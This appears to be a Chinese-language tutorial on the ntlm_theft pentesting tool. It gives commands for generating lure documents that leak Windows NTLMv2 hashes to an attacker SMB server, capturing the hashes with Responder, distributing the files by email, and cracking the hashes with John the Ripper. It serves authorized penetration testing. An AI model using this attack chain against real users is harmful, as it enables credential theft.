使用 ntlm_theft 生成各种类型的 NTLMv2 哈希窃取文件

在网络安全领域,尤其是渗透测试和红队活动中,窃取目标系统的 NTLMv2 哈希是一种常见的技术手段。这些哈希可以被用于进一步的攻击,例如密码破解或“传递哈希”(Pass-the-Hash)攻击。为了简化这一过程,Jacob Wilkin 开发了一款名为 ntlm_theft 的工具,项目地址如下:https://github.com/Greenwolf/ntlm_theft。该工具能够快速生成多种类型的文件,用于诱导目标用户泄露其 NTLMv2 哈希。本文将详细介绍如何使用 ntlm_theft,包括其功能、安装方法、使用场景以及实际操作步骤。


一、什么是 ntlm_theft?

ntlm_theft 是一款由 Python 编写的开源工具,旨在帮助安全研究人员和渗透测试人员生成多种类型的文件,这些文件在被目标用户打开或交互时,会触发对攻击者控制的 SMB(Server Message Block)服务器的连接请求。由于 Windows 系统默认会在这种情况下自动发送用户的 NTLMv2 哈希,攻击者可以通过捕获这些哈希来实现进一步的利用。

该工具的主要特点包括:

  • 多样化的文件类型:支持生成多种文件格式,例如 .docx.xlsx.pdf.rtf 等,共计 21 种不同的文件类型(截至最新版本)。
  • 简单易用:通过命令行参数即可快速生成所需文件,无需手动配置复杂的攻击载荷。
  • 针对性设计:主要面向内部网络钓鱼测试,也可以用于外部钓鱼(如果目标网络允许出站 SMB 流量)。
  • 兼容性:在现代 Windows 系统(如 Windows 10)上经过测试,部分文件类型甚至对旧系统仍然有效。

ntlm_theft 的典型使用场景包括:

  • 渗透测试中快速验证目标网络的安全配置。
  • 测试防病毒软件和邮件网关对恶意文件的检测能力。
  • 红队活动中模拟真实的钓鱼攻击。

二、安装与环境准备

要在本地使用 ntlm_theft,需要完成以下准备工作:

  1. 克隆 GitHub 仓库
    使用 git 命令将 ntlm_theft 仓库下载到本地:

    git clone https://github.com/Greenwolf/ntlm_theft.git
    

    然后进入项目目录:

    cd ntlm_theft
    
  2. 安装依赖
    ntlm_theft 需要 Python 3 环境,并且部分功能依赖额外的库。对于生成 .xlsx 文件的攻击,需要安装 xlsxwriter

    pip3 install xlsxwriter
    

    其他功能无需额外依赖,只需确保 Python 3 已正确安装。

  3. 准备 SMB 捕获工具
    ntlm_theft 本身仅负责生成文件,捕获 NTLMv2 哈希需要配合工具如 ResponderImpacket 的 SMB 服务器。例如,安装并运行 Responder

    sudo apt install responder
    sudo responder -I eth0
    

    Responder 将监听网络接口,捕获目标发送的 NTLMv2 哈希。


三、使用 ntlm_theft 生成文件

ntlm_theft 的核心功能是通过命令行参数生成特定类型的文件。以下是基本用法和示例:

1. 基本命令格式

python3 ntlm_theft.py -g <文件类型> -s <服务器IP> -f <文件名>
  • -g:指定要生成的文件类型,可以是 all(生成所有类型)、modern(仅生成适用于现代 Windows 的类型)或具体类型(如 docxxlsx)。
  • -s:指定攻击者控制的 SMB 服务器 IP 地址。
  • -f:指定生成文件的基础名称,工具会在此基础上添加后缀。

2. 示例操作

示例 1:生成所有类型文件

假设攻击者的 Kali Linux 机器 IP 为 192.168.1.100,我们希望生成所有支持的文件类型:

python3 ntlm_theft.py -g all -s 192.168.1.100 -f test

运行后,工具会在 test 文件夹中生成多种文件,例如:

  • test/test.scf
  • test/test-(includepicture).docx
  • test/test-(externalcell).xlsx
  • test/test.pdf

每种文件的用途和触发方式会在生成时显示,例如:

  • (BROWSE):浏览文件夹时触发。
  • (OPEN):打开文件时触发。
  • (OPEN IN WINDOWS MEDIA PLAYER ONLY):需用特定软件打开。
示例 2:生成适用于现代 Windows 的文件

某些文件类型(如 .scf)在现代 Windows 上已失效,可以使用 modern 参数筛选:

python3 ntlm_theft.py -g modern -s 192.168.1.100 -f meeting

输出示例:

Skipping SCF as it does not work on modern Windows
Created: meeting/meeting-(url).url (BROWSE TO FOLDER)
Created: meeting/meeting-(includepicture).docx (OPEN)
Created: meeting/meeting-(externalcell).xlsx (OPEN)
示例 3:生成特定类型文件

如果只想生成 Excel 文件:

python3 ntlm_theft.py -g xlsx -s 192.168.1.100 -f bonus

输出:

Created: bonus/bonus-(externalcell).xlsx (OPEN)

四、实际攻击流程

以下是一个完整的攻击示例:

  1. 启动 Responder
    在攻击者机器上运行:

    sudo responder -I eth0
    
  2. 生成恶意文件
    使用 ntlm_theft 生成一个 .docx 文件:

    python3 ntlm_theft.py -g docx -s 192.168.1.100 -f report
    
  3. 分发文件
    将生成的 report/report-(includepicture).docx 通过邮件或共享文件夹发送给目标用户。

  4. 捕获哈希
    当目标用户打开文件时,Word 会尝试连接 192.168.1.100 的 SMB 服务器,Responder 将捕获类似以下的输出:

    [SMB] NTLMv2-SSP Hash : user::DOMAIN:1122334455667788:ABCDEF0123456789ABCDEF0123456789:0101000000000000...
    
  5. 破解哈希
    使用工具如 John the RipperHashcat 对捕获的哈希进行破解:

    john --format=netntlmv2 hash.txt
    

五、使用场景与注意事项

使用场景

  • 内部钓鱼:测试员工对恶意文件的警惕性。
  • 安全评估:检查网络是否允许出站 SMB 流量。
  • 防御测试:验证防病毒软件或邮件网关的检测能力。

注意事项

  • 合法性:仅在授权的渗透测试中使用,切勿用于非法目的。
  • 网络限制:外部攻击需目标网络允许出站 SMB 流量(端口 445)。
  • 检测规避:生成的文件可能被某些高级安全工具标记,需根据目标环境调整策略。

六、总结

ntlm_theft 是一款功能强大且易于使用的工具,通过自动化生成多种类型的 NTLMv2 哈希窃取文件,大大提高了渗透测试的效率。无论是用于内部安全评估还是红队演练,它都能帮助安全从业者快速验证目标系统的弱点。同时,配合 Responder 等工具,它可以无缝融入完整的攻击链。

如果你对网络安全测试感兴趣,不妨尝试 ntlm_theft,并根据实际需求调整其应用方式。通过合理使用这一工具,不仅能提升测试效率,还能为企业网络安全提供更有价值的洞察。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值